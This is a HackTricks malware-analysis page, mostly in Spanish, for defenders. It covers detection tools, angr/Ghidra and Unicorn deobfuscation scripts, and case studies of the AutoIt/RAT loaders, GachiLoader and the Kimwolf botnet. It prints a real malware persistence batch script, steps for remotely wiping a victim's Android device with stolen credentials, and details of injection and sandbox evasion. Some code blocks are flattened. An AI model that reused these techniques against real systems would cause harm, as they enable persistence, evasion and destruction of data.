Análisis de malware
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Hojas de referencia de Forensics
https://www.jaiminton.com/cheatsheet/DFIR/#
Servicios en línea
Herramientas antivirus y de detección sin conexión
Yara
Instalar
sudo apt-get install -y yara
Preparar reglas
Usa este script para descargar y fusionar todas las reglas yara de malware desde github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea el directorio rules y ejecútalo. Esto creará un archivo llamado malware_rules.yar que contiene todas las reglas yara para malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Escaneo
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Comprobar malware y crear reglas
Puedes usar la herramienta YaraGen para generar yara rules desde un binario. Consulta estos tutoriales: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Instalación
sudo apt-get install -y clamav
Escaneo
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa detecta potenciales capacidades maliciosas en ejecutables: PE, ELF, .NET. Por lo tanto encontrará cosas como Att&ck tactics, o capacidades sospechosas como:
- comprobar error de OutputDebugString
- ejecutarse como servicio
- crear proceso
Consíguelo en el Github repo.
IOCs
IOC significa Indicator Of Compromise. Un IOC es un conjunto de condiciones que identifican algún software potencialmente no deseado o malware confirmado. Los Blue Teams usan este tipo de definiciones para buscar este tipo de archivos maliciosos en sus sistemas y redes.
Compartir estas definiciones es muy útil, ya que cuando se identifica malware en un equipo y se crea un IOC para ese malware, otros Blue Teams pueden usarlo para identificar el malware más rápido.
Una herramienta para crear o modificar IOCs es IOC Editor.
Puedes usar herramientas como Redline para buscar IOCs definidos en un dispositivo.
Loki
Loki es un scanner para Simple Indicators of Compromise.
La detección se basa en cuatro métodos de detección:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) es un escáner de malware para Linux publicado bajo la licencia GNU GPLv2, diseñado en torno a las amenazas que se enfrentan en entornos de hosting compartido. Utiliza datos de amenazas provenientes de sistemas de detección de intrusiones en el borde de la red para extraer malware que se está utilizando activamente en ataques y generar firmas para su detección. Además, los datos de amenazas también se derivan de envíos de usuarios con la LMD checkout feature y de recursos de la comunidad de malware.
rkhunter
Herramientas como rkhunter pueden usarse para revisar el sistema de archivos en busca de posibles rootkits y malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS es una herramienta que intentará encontrar strings ofuscadas dentro de ejecutables usando diferentes técnicas.
PEpper
PEpper comprueba algunas cosas básicas dentro del ejecutable (binary data, entropy, URLs and IPs, some yara rules).
PEstudio
PEstudio es una herramienta que permite obtener información de ejecutables Windows como imports, exports, headers, pero también consultará VirusTotal y encontrará potenciales técnicas Att&ck.
Detect It Easy(DiE)
DiE es una herramienta para detectar si un archivo está encrypted y también encontrar packers.
NeoPI
NeoPI es un script en Python que utiliza una variedad de statistical methods para detectar contenido obfuscated y encrypted dentro de archivos de texto/script. El propósito de NeoPI es ayudar en la detection de hidden web shell code.
php-malware-finder
PHP-malware-finder hace todo lo posible para detectar obfuscated/dodgy code así como archivos que usan funciones PHP frecuentemente usadas en malwares/webshells.
Apple Binary Signatures
Al revisar una malware sample siempre deberías check the signature del binary, ya que el developer que la firmó puede estar ya related con malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Técnicas de detección
File Stacking
Si sabes que alguna carpeta que contiene los archivos de un servidor web fue actualizada por última vez en cierta fecha, verifica la fecha en que todos los archivos del servidor web fueron creados y modificados y si alguna fecha es sospechosa, inspecciona ese archivo.
Baselines
Si los archivos de una carpeta no deberían haber sido modificados, puedes calcular el hash de los archivos originales de la carpeta y compararlos con los actuales. Cualquier cosa modificada será sospechosa.
Statistical Analysis
Cuando la información se guarda en logs puedes revisar estadísticas como cuántas veces se accedió a cada archivo del servidor web —un web shell podría ser uno de los más accedidos—.
Android in-app native telemetry (no root)
En Android, puedes instrumentar código nativo dentro del proceso de la app objetivo pre-cargando una pequeña librería logger antes de que otras libs JNI se inicialicen. Esto da visibilidad temprana del comportamiento nativo sin hooks a nivel sistema ni root. Un enfoque popular es SoTap: incluir libsotap.so para la ABI correcta en el APK e inyectar una llamada System.loadLibrary(“sotap”) temprano (p. ej., en un inicializador estático o Application.onCreate), luego recolectar logs desde rutas internas/externas o, como fallback, Logcat.
Consulta la página de reversing nativo de Android para detalles de setup y rutas de logs:
Android/JNI native string deobfuscation with angr + Ghidra
Algunos malware de Android y apps protegidas por RASP ocultan los nombres y firmas de métodos JNI decodificándolos en tiempo de ejecución antes de llamar a RegisterNatives. Cuando la instrumentación con Frida/ptrace es detenida por anti-debug, aún puedes recuperar el texto plano offline ejecutando el decodificador dentro del binario con angr y luego volcando los resultados en Ghidra como comentarios.
Idea clave: trata el decodificador dentro del .so como una función invocable, ejecútalo sobre los blobs de bytes ofuscados en .rodata y concreta los bytes de salida hasta el primer \x00 (terminador de C-string). Mantén angr y Ghidra usando la misma base de imagen para evitar desajustes de direcciones.
Resumen del flujo de trabajo
- Triage en Ghidra: identifica el decodificador y su convención de llamadas/argumentos en JNI_OnLoad y la configuración de RegisterNatives.
- Ejecuta angr (CPython3) para ejecutar el decodificador para cada cadena objetivo y volcar los resultados.
- Anota en Ghidra: auto-comenta las cadenas decodificadas en cada sitio de llamada para una reconstrucción RÁPIDA de JNI.
Triage en Ghidra (patrón JNI_OnLoad)
- Aplica los tipos de datos JNI en JNI_OnLoad para que Ghidra reconozca las estructuras JNINativeMethod.
- JNINativeMethod típico según la documentación de Oracle:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Busca llamadas a RegisterNatives. Si la librería construye el nombre/firma con una rutina local (p. ej., FUN_00100e10) que referencia una tabla de bytes estática (p. ej., DAT_00100bf4) y toma parámetros como (encoded_ptr, out_buf, length), ese es un objetivo ideal para ejecución offline.
angr setup (execute the decoder offline)
- Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
angr setup and offline decoder execution
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- A gran escala, construye un mapa estático de call sites hacia los argumentos del decoder (encoded_ptr, size). Los wrappers pueden ocultar argumentos, por lo que puedes crear este mapeo manualmente desde Ghidra xrefs si API recovery es ruidosa.
<details>
<summary>Decodificar por lotes múltiples call sites con angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Anotar sitios de llamada en Ghidra Opción A: escritor de comentarios solo con Jython (usar un JSON precomputado)
- Dado que angr requiere CPython3, mantén la desobfuscación y la anotación separadas. Primero ejecuta el script angr anterior para producir decoded_strings.json. Luego ejecuta este GhidraScript en Jython para escribir PRE_COMMENTs en cada sitio de llamada (e incluir el nombre de la función llamante para contexto):
Ghidra Jython script to annotate decoded JNI strings
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternativamente, utiliza pyhidra o ghidra_bridge para controlar la API de Ghidra desde el mismo proceso CPython que ejecuta angr. Esto permite llamar a decode_string() y establecer PRE_COMMENTs inmediatamente sin un archivo intermedio. La lógica refleja el script Jython: construir un mapa callsite→function mediante ReferenceManager, decodificar con angr y establecer los comentarios.
Why this works and when to use it
- La ejecución offline evita RASP/anti-debug: no se necesita ptrace ni hooks de Frida para recuperar cadenas.
- Mantener Ghidra y angr alineados en base_addr (por ejemplo, 0x00100000) asegura que las direcciones de funciones/datos coincidan entre las herramientas.
- Receta reproducible para decoders: trata la transformación como una función pura, asigna un buffer de salida en un estado nuevo, llámala con (encoded_ptr, out_ptr, len), luego concretiza via state.solver.eval y parsea C-strings hasta \x00.
Notes and pitfalls
- Respecta el ABI/convención de llamadas objetivo. angr.factory.callable elige una según arch; si los argumentos parecen desplazados, especifica cc explícitamente.
- Si el decoder espera buffers de salida a cero, inicializa outbuf con ceros en el state antes de la llamada.
- Para .so Android position-independent, siempre proporciona base_addr para que las direcciones en angr coincidan con las vistas en Ghidra.
- Usa currentProgram.getReferenceManager() para enumerar call-xrefs incluso si la app envuelve el decoder detrás de thin stubs.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Las familias de malware modernas abusan intensamente de la ofuscación del Control-Flow Graph (CFG): en lugar de un salto/llamada directa calculan el destino en tiempo de ejecución y ejecutan `jmp rax` o `call rax`. Un pequeño *dispatcher* (típicamente nueve instrucciones) establece el objetivo final dependiendo de las banderas `ZF`/`CF` de la CPU, rompiendo por completo la recuperación estática del CFG.
La técnica – mostrada por el loader SLOW#TEMPEST – puede ser derrotada con un flujo de trabajo de tres pasos que solo depende de IDAPython y del emulador de CPU Unicorn.
### 1. Locate every indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Extraer el dispatcher byte-code
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emularlo dos veces con Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Ejecute run(code,0,0) y run(code,1,1) para obtener los destinos de las ramas false y true.
4. Parchear de nuevo un direct jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Después de parchear, obliga a IDA a reanalizar la función para que se restaure el CFG completo y la salida de Hex-Rays:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Etiquetar llamadas API indirectas
Una vez que se conoce el destino real de cada call rax, puedes indicarle a IDA qué es para que los tipos de parámetros y los nombres de variables se recuperen automáticamente:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Beneficios prácticos
- Restaura el CFG real → la decompilación pasa de 10 líneas a miles.
- Permite referencias cruzadas de strings y xrefs, haciendo trivial la reconstrucción del comportamiento.
- Los scripts son reutilizables: colócalos en cualquier loader protegido por la misma técnica.
AutoIt-based loaders: descifrado .a3x, suplantación de Task Scheduler e inyección de RAT
Este patrón de intrusión encadena un MSI firmado, AutoIt loaders compilados a .a3x y una tarea de Task Scheduler que se hace pasar por una app benigna.
MSI → acciones personalizadas → orquestador AutoIt
Árbol de procesos y comandos ejecutados por las acciones personalizadas del MSI:
- MsiExec.exe → cmd.exe para ejecutar install.bat
- WScript.exe para mostrar un diálogo de error señuelo
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (deposita loader, establece persistence, se auto-limpia):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (señuelo de usuario):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Key artifacts and masquerade:
- Deposita AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
- Copia schtasks.exe a hwpviewer.exe (mascara como Hangul Word Processor viewer)
- Crea una tarea programada “IoKlTr” que se ejecuta cada 1 minuto
- LNK de inicio observado como Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Despliega módulos bajo %APPDATA%\Google\Browser\ subcarpetas que contienen
adboadvy los inicia vía los helpers autoit.vbs/install.bat
Forensic triage tips:
- schtasks enumeration:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Busca copias renombradas de schtasks.exe co-localizadas con el XML de la tarea:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Rutas comunes:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Correlaciona la creación de procesos: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)
AutoIt loaders and .a3x payload decryption → injection
- Los módulos AutoIt se compilan con
#AutoIt3Wrapper_Outfile_type=a3xy desencriptan payloads embebidos antes de inyectarlos en procesos benignos. - Familias observadas: QuasarRAT (inyectado en hncfinder.exe) and RftRAT/RFTServer (inyectado en cleanmgr.exe), así como módulos RemcosRAT (
Remcos\RunBinary.a3x). - Patrón de desencriptado: derivar una clave AES vía HMAC, desencriptar el blob embebido, y luego inyectar el módulo en texto plano.
Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Flujo de inyección común (CreateRemoteThread-style):
- CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory con módulo/shellcode descifrado
- CreateRemoteThread or QueueUserAPC para ejecutar el payload
Hunting ideas
- AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
- Files with
.a3xextensions or AutoIt script runners under public/user-writable paths - Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers
Abuso de account-takeover de Android Find My Device (Find Hub)
Durante la intrusión en Windows, los operadores usaron credenciales de Google robadas para borrar repetidamente los dispositivos Android de la víctima, suprimiendo notificaciones mientras ampliaban el acceso vía el messenger del escritorio donde la víctima estaba logueada.
Pasos del operador (desde una sesión de navegador con sesión iniciada):
- Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
- Select device → re-enter Google password → issue “Erase device” (factory reset); repeat to delay recovery
- Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications
Tracing heavily obfuscated Node.js loaders
Los atacantes empaquetan cada vez más JavaScript loaders dentro de binarios Windows standalone compilados con nexe, de modo que el runtime viaja junto con el script. El PE resultante suele pesar 60–90 MB y se ejecuta incluso si Node.js no está instalado. Durante el triage:
- Use
nexe_unpackerpara extraer el JavaScript embebido del PE y alimentarlo a herramientas locales para comparaciones/diffing estático. - Expect a disk-based mutex in
%TEMP%(GachiLoader drops a random<name>.lockfile that expires after ~5 minutes). Copiar el archivo al sandbox antes de la ejecución permite saltarse etapas redundantes mientras aún se observan payloads posteriores.
Node.js API tracing to defeat anti-analysis
Check Point’s Nodejs-Tracer hooks core modules inside any Node.js process, lets you spoof anti-VM probes, and preserves every artifact the sample writes. Launch obfuscated scripts through the tracer to keep analyst-controlled instrumentation in the call stack:
node -r .\tracer.js main.js
Las opciones de configuración clave dentro de tracer.js te permiten:
- Registrar actividad del sistema de archivos, procesos hijos y HTTP (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Cada archivo dejado—comokidkadi.node—se copia al directorio de trabajo antes de que el malware lo elimine. - Sobrescribir fingerprints del entorno devolviendo recuentos realistas de RAM/CPU, falseando la salida de
tasklisty manipulando respuestas de PowerShell/WMI. Esto evade loaders que exigen ≥4 GB RAM, ≥2 cores y escrutan nombres de usuario (mashinesssss,wdagutilityaccount, etc.), hostnames (desktop-vrsqlag,server1…) y nombres de procesos (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Anular verificaciones WMI de hardware como
Get-WmiObject Win32_DiskDrive(buscandovmware,kvm,virtio, …),Win32_VideoController(bloqueando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) y conteos deWin32_PortConnector. Cuando esas sondas reportan hardware “real”, los sandboxes dejan de caer en el bucle infinito de llamadas benignasInvoke-WebRequestalinkedin.com,grok.com,whatsapp.comy dominios similares que GachiLoader usa para perder tiempo de análisis.
Capturing gated C2 traffic automatically
Los hooks de red del tracer revelan autenticación C2 en múltiples capas sin reversar la ofuscación JavaScript. En la campaña observada el loader:
- Hace POST de la telemetría del host a
/logen cada C2 hard-coded. - Realiza
GET /richfamily/<per-sample key>conX-Secret: gachifamilypara recuperar una URL de payload codificada en Base64. - Ejecuta un
GETfinal a esa URL con un headerX-Secretlargo por muestra; si falta devuelve403 Forbidden.
Porque el tracer registra peticiones completas (headers, cuerpos, destinos), puedes reproducir el mismo tráfico para descargar payloads, volcar shells Themida/VMProtect en memoria y extraer datos de configuración de Rhadamanthys a escala.
AdaptixC2: Configuration Extraction and TTPs
Ver la página dedicada:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- Malicious APKs such as
com.n2.systemservice06*ship a statically linked ARM ELF insideres/raw(e.g.R.raw.libniggakernel). ABOOT_COMPLETEDreceiver runs at startup, extracts the raw resource to the app sandbox (e.g./data/data/<pkg>/niggakernel), makes it executable and invokes it withsu. - Many Android TV boxes/tablets ship pre-rooted images or world-writable
su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart. - Reverse engineers hunting for this pattern can diff
AndroidManifest.xmlfor hidden boot receivers plus code that referencesResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- Upon start, Kimwolf binds an abstract UNIX domain socket such as
@niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact. - The process title is overwritten with service-looking names (
netd_services,tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.
Stack XOR string decoding with ARM NEON + flare_emu
- Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via
VEOR Qx, Qx, Qy(veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Buscando
VEOR Q8, Q8, Q9/veorq_s64sequences y emulando sus rangos vuelca masivamente cada cadena descifrada, eludiendo la vida útil limitada a la pila del plaintext.
Resolución DNS-over-TLS más derivación XOR de IP
- Todas las variantes de Kimwolf resuelven dominios C2 hablando DNS-over-TLS (TCP/853) directamente con Google (8.8.8.8) o Cloudflare (1.1.1.1), eludiendo el logging DNS plano o el hijacking.
- Los bots v4 simplemente usan el registro A IPv4 devuelto. Los bots v5 tratan el registro A como un entero de 32 bits, intercambian su endianness, le aplican XOR con la constante
0x00ce0491, y luego vuelven a intercambiar el endianness para obtener la IP real del C2. Receta de CyberChef: Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
ENS / EtherHiding (respaldo)
- Compilaciones posteriores añaden un dominio ENS (
pawsatyou.eth) cuyo resolver text key"lol"almacena una IPv6 de aspecto benigno (fed0:5dec:...:1be7:8599). - El bot toma los últimos cuatro bytes (
1b e7 85 99), les aplica XOR con0x93141715, e interpreta el resultado como una IPv4 C2 (136.243.146.140). Actualizar el registro de texto ENS rota instantáneamente los C2 descendientes vía la blockchain sin tocar DNS.
TLS + ECDSA canal de comandos autenticado
- El tráfico está encapsulado en wolfSSL con un protocolo enmarcado personalizado:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: el bot envía dos encabezados vacíos
MsgType=0 (register). El C2 responde conMsgType=1 (verify)que contiene un reto aleatorio más una firma ASN.1 DER ECDSA. Los bots la verifican contra un SubjectPublicKeyInfo blob embebido; las fallas terminan la sesión, evitando que nodos C2 secuestrados/sinkhole asignen tareas a la flota. - Una vez verificado, el bot envía un body
MsgType=0que lleva la group string definida por el operador (p. ej.android-postboot-rt). Si el grupo está habilitado, el C2 responde conMsgType=2 (confirm), tras lo cual comienza el tasking (MsgType 5–12). - Los verbos soportados incluyen SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, y payloads Mirai-compatible DDoSBody (same
AtkType,Duration,Targets[],Flags[]layout).
Referencias
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


